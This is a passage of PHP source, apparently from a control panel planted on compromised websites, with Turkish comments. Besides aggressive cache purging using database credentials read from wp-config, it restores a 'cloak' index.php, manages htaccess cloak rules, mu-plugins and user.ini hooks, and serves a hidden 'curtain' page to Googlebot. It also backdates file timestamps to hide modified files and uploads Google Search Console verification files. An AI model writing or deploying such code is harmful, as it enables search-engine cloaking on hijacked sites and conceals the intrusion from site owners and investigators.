CURLOPT_NOBODY =>true,
CURLOPT_CONNECTTIMEOUT =>3,
CURLOPT_TIMEOUT =>8,
CURLOPT_SSL_VERIFYPEER =>false,
CURLOPT_USERAGENT =>'Mozilla/5.0 (WrzPurge)',
]);
@curl_exec($ch2);
$code2=(int)curl_getinfo($ch2,CURLINFO_HTTP_CODE);
curl_close($ch2);
if($code2>=200&&$code2<400)$lsResult=['s'=>'ok','m'=>'LSCWP_CTRL=PURGE: '.$code2];
else $lsResult['m'].=' / LSCWP_CTRL: '.$code2;
}
}
$res['lscache_http_purge']=$lsResult;
// WP-CLI fallback (shell_exec varsa ve HTTP PURGE başarısızsa)
if(function_exists('shell_exec')&&$lsResult['s']!=='ok'){
$cliOut=trim((string)@shell_exec('cd '.escapeshellarg($DIR).' && wp litespeed-purge all 2>&1'));
if($cliOut!==''){
$res['lscache_wpcli']=['s'=>(stripos($cliOut,'uccess')!==false||stripos($cliOut,'purged')!==false)?'ok':'na','m'=>'wp-cli: '.substr($cliOut,0,120)];
}
}
}
// 3. CMS-aware disk cache temizleme
if($CMS_INFO['cms']==='wp'){
// ★ 3w-DB: WP transient + rewrite rules SQL cleanup (WP yüklü değilse bile çalışır)
// Transient'ler WP'nin en yaygın "eski cache" kaynağı; SQL DELETE ile en hızlı yol.
$_wp_cfg_path=cseh_find_wpconfig($DIR);
if($_wp_cfg_path){
$_wp_cfg=cseh_parse_wpconfig($_wp_cfg_path);
if(!empty($_wp_cfg['creds']['DB_NAME'])){
$_wp_m=cseh_db_connect($_wp_cfg['creds']);
if($_wp_m){
$_prefix=$_wp_cfg['prefix'];
$_wp_tr_del=0;
// Transient temizle (WP'nin en yaygın stale cache kaynağı)
$_q=@$_wp_m->query("DELETE FROM `{$_prefix}options` WHERE option_name LIKE '\\_transient\\_%' OR option_name LIKE '\\_site\\_transient\\_%'");
if($_q!==false)$_wp_tr_del=$_wp_m->affected_rows;
// Rewrite rules flush (permalink cache)
$_wp_m->query("DELETE FROM `{$_prefix}options` WHERE option_name='rewrite_rules'");
$_wp_m->close();
$res['wp_db_cache']=['s'=>'ok','m'=>"$_wp_tr_del transient + rewrite_rules silindi (SQL)"];
}else{
$res['wp_db_cache']=['s'=>'na','m'=>'DB bağlantı kurulamadı'];
}
}
}
// ★ 3w-WP-Fn: WP plugin fonksiyonları (WP yüklüyse çalışır — plugin panelinde açılışta)
$_wpfn=array();
if(function_exists('wp_cache_flush')){@wp_cache_flush(); $_wpfn[]='wp_cache_flush';}
if(function_exists('rocket_clean_domain')){@rocket_clean_domain(); $_wpfn[]='wp_rocket';}
if(function_exists('w3tc_flush_all')){@w3tc_flush_all(); $_wpfn[]='w3tc';}
if(function_exists('wp_cache_clear_cache')){@wp_cache_clear_cache(); $_wpfn[]='wp_super_cache';}
if(class_exists('WpFastestCache')){try{$_wpfc=new WpFastestCache();@$_wpfc->deleteCache(true); $_wpfn[]='wp_fastest_cache';}catch(Exception $_e){}}
if(class_exists('autoptimizeCache')){try{@autoptimizeCache::clearall(); $_wpfn[]='autoptimize';}catch(Exception $_e){}}
if(class_exists('Cache_Enabler')){try{@Cache_Enabler::clear_total_cache(); $_wpfn[]='cache_enabler';}catch(Exception $_e){}}
if(class_exists('comet_cache')){try{@comet_cache::clear(); $_wpfn[]='comet';}catch(Exception $_e){}}
if(class_exists('Swift_Performance_Cache')){try{@Swift_Performance_Cache::clear_all_cache(); $_wpfn[]='swift';}catch(Exception $_e){}}
if(function_exists('sg_cachepress_purge_cache')){@sg_cachepress_purge_cache(); $_wpfn[]='sg_optimizer';}
if(function_exists('do_action')){
@do_action('litespeed_purge_all');
@do_action('litespeed_purge_object');
@do_action('wphb_clear_page_cache');
$_wpfn[]='hooks(litespeed+hummingbird)';
}
if(!empty($_wpfn))$res['wp_plugin_purge']=['s'=>'ok','m'=>implode(', ',$_wpfn)];
// 3w. WordPress disk cache
$wpCache=$DIR.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache';
if(is_dir($wpCache)){
$count=_cc_rmdir($wpCache);
$res['wp_cache']=['s'=>'ok','m'=>"$count dosya silindi"];
}else{
$res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ bulunamadı'];
}
$pluginDirs=[
'dir_w3tc' =>[$DIR.'/wp-content/w3tc-cache/','W3 Total Cache'],
'dir_wprocket' =>[$DIR.'/wp-content/wp-rocket-cache/','WP Rocket'],
'dir_litespeed' =>[$DIR.'/wp-content/litespeed/','LiteSpeed'],
'dir_autoptimize'=>[$DIR.'/wp-content/cache/autoptimize/','Autoptimize'],
'dir_endurance' =>[$DIR.'/wp-content/endurance-page-cache/','Endurance Page Cache'],
'dir_wpfastest' =>[$DIR.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'],
'dir_comet' =>[$DIR.'/wp-content/cache/comet-cache/','Comet Cache'],
'dir_enabler' =>[$DIR.'/wp-content/cache/cache-enabler/','Cache Enabler'],
];
foreach($pluginDirs as $k=>$_pair){ $pdir=$_pair[0]; $plabel=$_pair[1];
if(is_dir($pdir)){
$pcnt=_cc_rmdir($pdir);
$res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"];
}else{
$res[$k]=['s'=>'na','m'=>"$plabel: dizin bulunamadı"];
}
}
}elseif($CMS_INFO['cms']==='joomla'){
// 3j. Joomla cache: cache/ + administrator/cache/ + tmp/
foreach([
'joomla_cache' =>[$DIR.'/cache','Joomla site cache'],
'joomla_admin_cache'=>[$DIR.'/administrator/cache','Joomla admin cache'],
'joomla_tmp' =>[$DIR.'/tmp','Joomla tmp/'],
] as $k=>$_pair){ $jdir=$_pair[0]; $jlabel=$_pair[1];
if(is_dir($jdir)){
$jcnt=_cc_rmdir($jdir);
$res[$k]=['s'=>'ok','m'=>"$jlabel: $jcnt dosya silindi"];
}else{
$res[$k]=['s'=>'na','m'=>"$jlabel: dizin yok"];
}
}
// Joomla CLI (varsa) — cache:clean DB-side cache'i de temizler
$joomlaCli=$DIR.'/cli/joomla.php';
if(file_exists($joomlaCli)&&function_exists('shell_exec')){
$out=trim((string)@shell_exec('php '.escapeshellarg($joomlaCli).' cache:clean 2>&1'));
$res['joomla_cli']=['s'=>'ok','m'=>$out?:'cache:clean çalıştırıldı'];
}else{
$res['joomla_cli']=['s'=>'na','m'=>'Joomla CLI bulunamadı veya shell_exec kapalı'];
}
}elseif($CMS_INFO['cms']==='laravel'){
// 3l. Laravel: bootstrap/cache/*.php + storage/framework/{cache,views}
$lvRoot=dirname($DIR); // public/ ise bir üst dizin
// bootstrap/cache/*.php — config.php, packages.php, routes-v7.php, services.php
$bcDir=$lvRoot.'/bootstrap/cache';
if(is_dir($bcDir)){
$bcCnt=0;
foreach((array)@glob($bcDir.'/*.php') as $bcf){if(@unlink($bcf))$bcCnt++;}
$res['laravel_bootstrap']=['s'=>'ok','m'=>"bootstrap/cache: $bcCnt php silindi"];
}else{
$res['laravel_bootstrap']=['s'=>'na','m'=>'bootstrap/cache dizini yok'];
}
// storage/framework/cache/data
$sfData=$lvRoot.'/storage/framework/cache/data';
if(is_dir($sfData)){
$sfCnt=_cc_rmdir($sfData);
$res['laravel_storage_cache']=['s'=>'ok','m'=>"storage/framework/cache/data: $sfCnt dosya silindi"];
}else{
$res['laravel_storage_cache']=['s'=>'na','m'=>'storage/framework/cache/data yok'];
}
// storage/framework/views/*.php
$sfViews=$lvRoot.'/storage/framework/views';
if(is_dir($sfViews)){
$vCnt=0;
foreach((array)@glob($sfViews.'/*.php') as $vf){if(@unlink($vf))$vCnt++;}
$res['laravel_views']=['s'=>'ok','m'=>"compiled views: $vCnt php silindi"];
}else{
$res['laravel_views']=['s'=>'na','m'=>'storage/framework/views yok'];
}
// artisan optimize:clear (config+route+view+cache hepsini temizler)
$artisan=$lvRoot.'/artisan';
if(file_exists($artisan)&&function_exists('shell_exec')){
$out=trim((string)@shell_exec('cd '.escapeshellarg($lvRoot).' && php artisan optimize:clear 2>&1'));
$res['laravel_artisan']=['s'=>'ok','m'=>$out?:'optimize:clear çalıştırıldı'];
}else{
$res['laravel_artisan']=['s'=>'na','m'=>'artisan bulunamadı veya shell_exec kapalı'];
}
}
// CMS=generic için ek dizin temizliği yok (zaten OPcache + statcache + Varnish/Nginx/CF aşağıda)
// 3c. WP plugin disk cache'leri — wp-load.php İNCLUDE EDİLMEZ (ağır eklenti yığını 10dk hang yapıyordu).
// Plugin'lerin cache dizinlerini DOSYA SEVİYESİNDE sileriz; wp-load/init hook'u boot etmeye gerek yok.
if($CMS_INFO['cms']==='wp'){
$wpExtra=[
'dir_wpsupercache'=>[$DIR.'/wp-content/cache/supercache/','WP Super Cache'],
'dir_objectcache' =>[$DIR.'/wp-content/cache/object-cache/','Object Cache'],
'dir_minify' =>[$DIR.'/wp-content/cache/minify/','Minify'],
'dir_sgcache' =>[$DIR.'/wp-content/cache/siteground-optimizer-assets/','SG Optimizer'],
];
foreach($wpExtra as $k=>$_pair){ $pdir=$_pair[0]; $plabel=$_pair[1];
if(is_dir($pdir)){$pcnt=_cc_rmdir($pdir);$res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"];}
}
}
// 4. LiteSpeed Web Server — server-level purge (LSCache plugin OLMASA bile çalışır, plugin'siz/anlık).
// X-LiteSpeed-Purge response header'ı → LSWS yakalar, cache'i siler. Hostinger/shared hostların çoğu LSWS.
$srv=strtolower(isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'');
if(strpos($srv,'litespeed')!==false||strpos($srv,'lsws')!==false){
if(!headers_sent()){
header('X-LiteSpeed-Purge: *',true);
$res['litespeed_server']=['s'=>'ok','m'=>'X-LiteSpeed-Purge: * gönderildi (sunucu seviyesi)'];
}else{
$res['litespeed_server']=['s'=>'na','m'=>'Header zaten gönderilmiş'];
}
}
// 5. Varnish PURGE — SADECE gerçek Varnish portu (6081). :80 = canlı site, ona PURGE atma (risk + yavaş).
if(function_exists('curl_init')){
$hhost=$_SERVER['HTTP_HOST'];
$ch=curl_init("http://127.0.0.1:6081/");
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hhost","X-Purge-Method: default"],CURLOPT_TIMEOUT=>1,CURLOPT_CONNECTTIMEOUT=>1]);
curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch);
$res['varnish']=(!$cerr&&$code>0)?['s'=>'ok','m'=>"PURGE 6081 → HTTP $code"]:['s'=>'na','m'=>'Varnish yok (port 6081)'];
}else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];}
// 5b. Nginx FastCGI Cache — yaygın dizin konumlarını tara
$nginxFound=false;
foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $ndir){
if(is_dir($ndir)&&is_writable($ndir)){
$ncnt=_cc_rmdir($ndir);
$res['nginx_cache']=['s'=>'ok','m'=>"Nginx FastCGI Cache: $ncnt dosya silindi ($ndir)"];
$nginxFound=true;break;
}
}
if(!$nginxFound)$res['nginx_cache']=['s'=>'na','m'=>'Nginx FastCGI Cache dizini bulunamadı'];
// [v3] LiteSpeed WP-CLI shell_exec + .htaccess tarama + warmup KOMPLE ÇIKARILDI
// - WP-CLI shell_exec dakikalarca takılabiliyor (DB connect / hook bekleme)
// - htaccess tarama sadece uyarı veriyordu, fonksiyonel etki yok
// - warmup 2x10sn boşa bekleme — Googlebot kendi taramasını yapar
// 6. MANAGED HOST — Kinsta / WP Engine / Pantheon / Flywheel / Cloudways
// Bu hostların edge cache'i (KinstaCDN/EverCache/PantheonEdge/FlyCache) PHP'den doğrudan silinemez.
// Bilinen mu-plugin fonksiyonları varsa çağır; yoksa kullanıcıya MANUEL DASHBOARD talimatı döndür.
$mh=function_exists('cseh_detect_managed_host')?cseh_detect_managed_host():array('host'=>null);
if($mh['host']!==null){
$mh_msg='';
if($mh['host']==='wpengine'){
// WP Engine — WpeCommon::purge_varnish_cache() / purge_memcached() / clear_maxcdn_cache()
$done=array();
if(class_exists('WpeCommon')){
if(method_exists('WpeCommon','purge_varnish_cache')){ try{ @WpeCommon::purge_varnish_cache(); $done[]='varnish'; }catch(Exception $e){} }
if(method_exists('WpeCommon','purge_memcached')) { try{ @WpeCommon::purge_memcached(); $done[]='memcached'; }catch(Exception $e){} }
if(method_exists('WpeCommon','clear_maxcdn_cache')){ try{ @WpeCommon::clear_maxcdn_cache(); $done[]='cdn'; }catch(Exception $e){} }
}
// WP Engine — sadece otomatik purge dene, mesaj gösterme
}elseif($mh['host']==='kinsta'){
// Kinsta — otomatik purge dene, sessizce geç
if(class_exists('Kinsta\\Cache') && method_exists('Kinsta\\Cache','purge_complete_caches')){
try{ $inst=new Kinsta\Cache(); @$inst->purge_complete_caches(); }catch(Exception $e){}
}
if(function_exists('do_action'))@do_action('kinsta_cache_purge_all');
}elseif($mh['host']==='pantheon'){
if(function_exists('pantheon_clear_edge_all')){
try{ @pantheon_clear_edge_all(); }catch(Exception $e){}
}
}elseif($mh['host']==='cloudways'){
if(function_exists('do_action'))@do_action('breeze_clear_all_cache');
}
// (managed host uyarıları kaldırıldı — sessizce dene, kullanıcıya manuel talimat verme)
}
// ★ CLOUDFLARE CACHE PURGE — token varsa OTOMATIK tetiklenir (yeni)
$res['cloudflare']=cseh_cf_auto_purge($DIR);
while(ob_get_level()>0)ob_end_clean();
$out=json_encode($res,JSON_UNESCAPED_UNICODE);
if($out===false){
array_walk_recursive($res,function(&$v){if(is_string($v))$v=function_exists('iconv')?(string)@iconv('UTF-8','UTF-8//IGNORE',$v):substr($v,0,500);});
$out=json_encode($res,JSON_UNESCAPED_UNICODE);
if($out===false)$out='{"fatal":"json_encode_fail"}';
}
header("Content-Type:application/json");
echo $out;exit;
}
// ---- ACIL SITE KURTAR (panel acikken) ----------------------------------------
if($a==="emergency_fix"){
while(ob_get_level()>0)@ob_end_clean();
header('Content-Type: application/json; charset=utf-8');
$log=[];
$idx=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE;
$bak=$BACKUP_PATH;
$stdWp="=80)$restore=$bc;
}
if($restore===''&&@is_file($DIR.'/wp-blog-header.php'))$restore=$stdWp;
if($restore!==''){
@file_put_contents($idx,$restore);
if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);
$log[]='index.php geri yuklendi';
}else{$log[]='index.php geri yuklenemedi';}
}else{$log[]='index.php cloak degil';}
}
cseh_userini_remove($DIR);
cseh_htaccess_cloak_remove($DIR);
cseh_htaccess_remove($DIR);
cseh_muplugin_remove($DIR);
if($FLAG_PATH&&@is_file($FLAG_PATH)){@unlink($FLAG_PATH);$log[]='render.lock silindi';}
echo json_encode(['ok'=>true,'log'=>$log],JSON_UNESCAPED_UNICODE);exit;
}
// ---- Timestamp maskeleme ---------------------------------------------------
if($a==="fixtimestamp"){
while(ob_get_level()>0)@ob_end_clean();
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
$skip=array_merge([basename(__FILE__)],['.wrz-deploy-manifest.json']);
$refMt=ref_mtime($DIR,$skip);
$res=[];
if(!$refMt){
$res['ref']=['s'=>'warn','m'=>'Dizinde referans dosya bulunamadi'];
}else{
$res['ref']=['s'=>'ok','m'=>'Referans tarih: '.date('d.m.Y H:i',$refMt).' ('.$CMS_INFO['label'].')'];
}
$targets=[
['key'=>'index.php','path'=>$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE],
];
if(!$IS_PLUGIN){
$targets[]=['key'=>basename($BACKUP_FILE),'path'=>$BACKUP_PATH];
}
if(!empty($PERDE_PATH)&&@is_file($PERDE_PATH)){
$targets[]=['key'=>'render-cache.html','path'=>$PERDE_PATH];
}
// .htaccess timestamp DOKUNMA — bozuk rewrite / 500 riski
foreach($targets as $t){
$key=$t['key'];
$fp=$t['path'];
if(!$refMt){
$res[$key]=['s'=>'na','m'=>'Referans yok'];
continue;
}
if(!@file_exists($fp)){
$res[$key]=['s'=>'na','m'=>'Dosya yok'];
continue;
}
$old=(int)@filemtime($fp);
$ok=@touch($fp,$refMt);
$res[$key]=[
's'=>$ok?'ok':'err',
'm'=>date('d.m.Y H:i',$old).' -> '.date('d.m.Y H:i',$refMt),
];
}
$json=json_encode($res,JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES);
if($json===false){
echo '{"ref":{"s":"err","m":"JSON encode hatasi"}}';
}else{
echo $json;
}
exit;
}
if($a==="info"){
$bak=$BACKUP_PATH;
$perde=$PERDE_PATH;
// Hangi imzalar yakalandı?
$sig=[];
if(file_exists($DIR.'/wp-config.php')) $sig[]='wp-config.php';
if(file_exists($DIR.'/wp-load.php')) $sig[]='wp-load.php';
if(is_dir($DIR.'/wp-includes')) $sig[]='wp-includes/';
if(file_exists($DIR.'/configuration.php'))$sig[]='configuration.php';
if(is_dir($DIR.'/administrator')) $sig[]='administrator/';
if(file_exists($DIR.'/../bootstrap/app.php'))$sig[]='../bootstrap/app.php';
if(file_exists($DIR.'/../artisan')) $sig[]='../artisan';
echo "
render-cache.html=$perdeExists?"$perdeSize bayt".($IS_PLUGIN?' (uploads/wp-media-cache)':' (.render-cache/)'):'— mevcut değil (açınca oluşur) —'?>Perdeyi görüntüle
Bu siteyi nginx server-level cache'liyorsa, hosting/sunucu yöneticisine şu satırları nginx server bloğuna eklet. Cloak zaten PHP'ye ulaşan isteklerde perdeyi basıyor; bu snippet sadece nginx'in Googlebot'u cache'ten serbest bırakması içindir.
Timestamp Raporu
Yanıt önizlemesi (ham HTML)
Perde İçeriği
Hedef: =htmlspecialchars($perdeLabel)?>
Google Search Console Doğrulama Dosyası Yükle
Google'ın verdiği google….html dosya adı + google-site-verification: içeriği. Kök'e yazılır.